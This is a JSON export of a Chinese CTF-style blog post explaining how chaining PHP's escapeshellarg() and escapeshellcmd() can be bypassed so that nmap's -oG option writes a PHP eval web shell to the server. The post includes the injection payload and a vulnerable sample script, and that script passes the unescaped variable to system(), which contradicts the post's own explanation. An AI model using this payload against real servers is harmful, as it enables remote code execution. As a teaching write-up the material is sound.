{"id":143,"date":"2023-02-09T22:11:23","date_gmt":"2023-02-09T14:11:23","guid":{"rendered":"https:\/\/blog.byzhb.top\/?p=143"},"modified":"2023-02-09T22:35:30","modified_gmt":"2023-02-09T14:35:30","slug":"ca","status":"publish","type":"post","link":"https:\/\/blog.byzhb.top\/index.php\/2023\/02\/09\/ca\/","title":{"rendered":"escapeshellarg()+escapeshellcmd()\u7ed5\u8fc7"},"content":{"rendered":"

\u4e00\u3001\u51fd\u6570\u529f\u80fd\uff1a<\/h1>\n

1\u3001escapeshellarg()\uff1a<\/h2>\n

\u628a\u5b57\u7b26\u4e32\u8f6c\u7801\u4e3a\u53ef\u4ee5\u5728 shell \u547d\u4ee4\u91cc\u4f7f\u7528\u7684\u53c2\u6570\uff0c\u7ed9\u5b57\u7b26\u4e32\u589e\u52a0\u4e00\u4e2a\u5355\u5f15\u53f7\uff0c\u5e76\u4e14\u80fd\u5f15\u7528\u6216\u8005\u8f6c\u7801\u4efb\u4f55\u5df2\u7ecf\u5b58\u5728\u7684\u5355\u5f15\u53f7<\/span><\/p>\n

\u4f8b\u5b50\uff1a<\/p>\n

 <?php\r\n  $a=\"'ls'\";\r\n  echo escapeshellarg($a);\r\n?><\/pre>\n
 <\/p>\n
\u7ed3\u679c\u4e3a\u00a0 '<\/span> '<\/span>\\'<\/span>'<\/span> ls '<\/span>\\'<\/span>'<\/span>'<\/span><\/p>\n
2\u3001escapeshellcmd()\uff1a<\/h2>\n
\u5bf9shell\u6307\u4ee4\u7684\u4fdd\u7559\u5b57\u7b26\uff08&#;`|*?~<>^()[]{}$,x0A\u548cxFF<\/span>\uff09\u8fdb\u884c\u8f6c\u79fb\uff0c<\/em>'<\/em>\u548c\"<\/em>\u4ec5\u5728\u4e0d\u914d\u5bf9\u513f\u7684\u65f6\u5019\u88ab\u8f6c\u4e49<\/p>\n
\u4f8b\u5b50:<\/p>\n
 <?php\r\n\r\n$a=\"123?'\";\r\n\r\necho escapeshellcmd($a);\r\n\r\n?><\/pre>\n
\u7ed3\u679c\u4e3a\u00a0 123\\<\/span>?\\<\/span>'<\/p>\n
\u4e8c\u3001\u53d1\u751f\u573a\u666f\uff1a<\/h1>\n
escapeshellarg -> escapeshellcmd\u8fd9\u79cd\u5904\u7406\u987a\u5e8f\u624d\u4f1achufa\u89e6\u53d1<\/code><\/p>\n
\u4ed4\u7ec6\u60f3\u60f3\u5176\u5b9e\u8fd9\u53ef\u4ee5\u7b97\u662fescapeshellarg<\/code>\u548cescapeshellcmd<\/code>\u7684\u8bbe\u8ba1\u95ee\u9898\uff0c\u56e0\u4e3a\u5148\u8f6c\u4e49\u53c2\u6570\u518d\u8f6c\u4e49\u547d\u4ee4\u662f\u5f88\u6b63\u5e38\u7684\u60f3\u6cd5\uff0c\u4f46\u662f\u5b83\u4eec\u5728\u914d\u5408\u65f6\u5e76\u6ca1\u6709\u8003\u8651\u5230\u5355\u5f15\u53f7\u5e26\u6765\u7684\u9690\u60a3\u3002<\/p>\n
\u4e09\u3001\u7ed5\u8fc7\u65b9\u6cd5\uff1a<\/h1>\n
<?php\r\n\r\n$a=$_POST['a'];\r\n\r\n$b=escapeshellcmd(escapeshellarg($a));\r\n\r\nsystem('nmap'.$a);\r\n\r\n?><\/pre>\n
 <\/p>\n
\u6211\u4eec\u60f3\u901a\u8fc7 -oG \u547d\u4ee4\u690d\u5165shell\uff0c\u6784\u9020payload\u5982\u4e0b:<\/p>\n
<?php\u00a0 @eval($_REQUEST[\"cmd\"]);?> -oG shell.php<\/pre>\n
\u6211\u4eec\u63d0\u4ea4payload\u4ee5\u540e\uff0c\u4f1a\u53d1\u73b0\u65e0\u6cd5\u751f\u6210shell\u6587\u4ef6
\n\u95ee\u9898\u51fa\u5728escapeshellcmd(escapeshellarg($a))
\n\u7ecf\u8fc7\u8fd9\u4e24\u4e2a\u51fd\u6570\u5904\u7406\u540e\uff0c\u6211\u4eec\u7684payload\u4f1a\u53d8\u4e3a\uff1a
\n'\\<\\?php\u00a0 @eval\\(\\$REQUEST\\[\"cmd\"]\\)\\;\\?\\> -oG shell.php'
\n\u6211\u4eec\u53ef\u4ee5\u770b\u5230-oG<\/span>\u5df2\u7ecf\u6210\u4e3a\u5b57\u7b26\u4e32\u7684\u4e00\u90e8\u5206\u4e86\uff0c\u5728\u5b57\u7b26\u4e32\u5185\uff0c\u65e0\u6cd5\u8d77\u5230\u539f\u672c\u4fdd\u5b58\u7ed3\u679c\u7684\u4f5c\u7528<\/p>\n
\u6211\u4eec\u53ef\u4ee5\u6784\u9020payload\u4e3a\uff1a<\/p>\n
' <?php\u00a0 @eval($_REQUEST[\"cmd\"]);?> -oG shell.php '   \uff08\u5355\u5f15\u53f7\u4e0e<>\u4e4b\u95f4\u5e94\u8be5\u6709\u7a7a\u683c\uff09<\/pre>\n
<?php\r\n$a=\"'<?php\u00a0 @eval(\\$_REQUEST[\"cmd\"]);?> -oG shell.php'\";\r\n$b=escapeshellarg($a);\r\n$c=escapeshellcmd($b);\r\necho $b;\r\necho $c;\r\n?>\r\n\u7ed3\u679c\u4e3a\uff1a''\\'' <?php\u00a0 @eval($_REQUEST[\"cmd\"]);?> -oG shell.php '\\'''\r\n       ''\\\\'' \\<\\?php\u00a0 @eval\\(\\$_REQUEST\\[\"cmd\"]\\)\\;\\?\\> -oG shell.php '\\\\'''<\/pre>\n
\u6211\u4eec\u53ef\u4ee5\u770b\u5230escapeshellarg<\/strong><\/span>\u6dfb\u52a0\u5230\u4e24\u7aef\u7684\u5f15\u53f7\u5df2\u7ecf\u8d77\u4e0d\u5230\u4f5c\u7528\uff0c\u539f\u5148\u8d77\u5230\u8f6c\u4e49\u4f5c\u7528\u7684\\,\u88abescapeshellcmd<\/strong><\/span>\u518d\u6b21\u8f6c\u4e49\uff0c\u6210\u4e3a\u666e\u901a\u7684\\,''\\\\''<\/span>\u53ef\u4ee5\u7b80\u5316\u4e3a''\\'',<\/span>\u540e\u9762\u7684'\\\\'''<\/span>\u540c\u7406\uff0c<\/span><\/span>\u7ecf\u8fc7\u4e00\u7cfb\u5217\u8f6c\u5316\uff0c\u539f\u672c\u4e24\u5934\u7684\u5355\u5f15\u53f7\u91cd\u65b0\u914d\u5bf9\uff0c\u4e0d\u5728\u5bf9\u539f\u672c\u7684\u547d\u4ee4\u8d77\u5230\u7ea6\u675f\u4f5c\u7528<\/p>\n
\u5355\u5f15\u53f7\u4e0e<>\u4e4b\u95f4\u5e94\u8be5\u6709\u7a7a\u683c\u7684\u539f\u56e0\u662f\uff1a\u6ca1\u6709\u7a7a\u683c\u7684\u8bdd,\u4f1a\u53d8\u6210\u8fd9\u6837shell.php'\\\\''',\u4ece\u800c\u5bfc\u81f4\u6587\u4ef6\u540d\u51fa\u9519\uff0c\u5e76\u4e14<\u65e0\u6cd5\u88ab\u8f6c\u4e49<\/p>\n","protected":false},"excerpt":{"rendered":"
escapeshellarg()+escapeshellcmd()\u8bb2\u89e3\u53ca\u5176\u7ed5\u8fc7<\/p>\n","protected":false},"author":1,"featured_media":150,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10,1,11],"tags":[7,21],"class_list":["post-143","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf","category-uncategorized","category-nw","tag-php","tag-rce"],"_links":{"self":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/143","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/comments?post=143"}],"version-history":[{"count":5,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/143\/revisions"}],"predecessor-version":[{"id":151,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/143\/revisions\/151"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/media\/150"}],"wp:attachment":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/media?parent=143"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/categories?post=143"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/tags?post=143"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}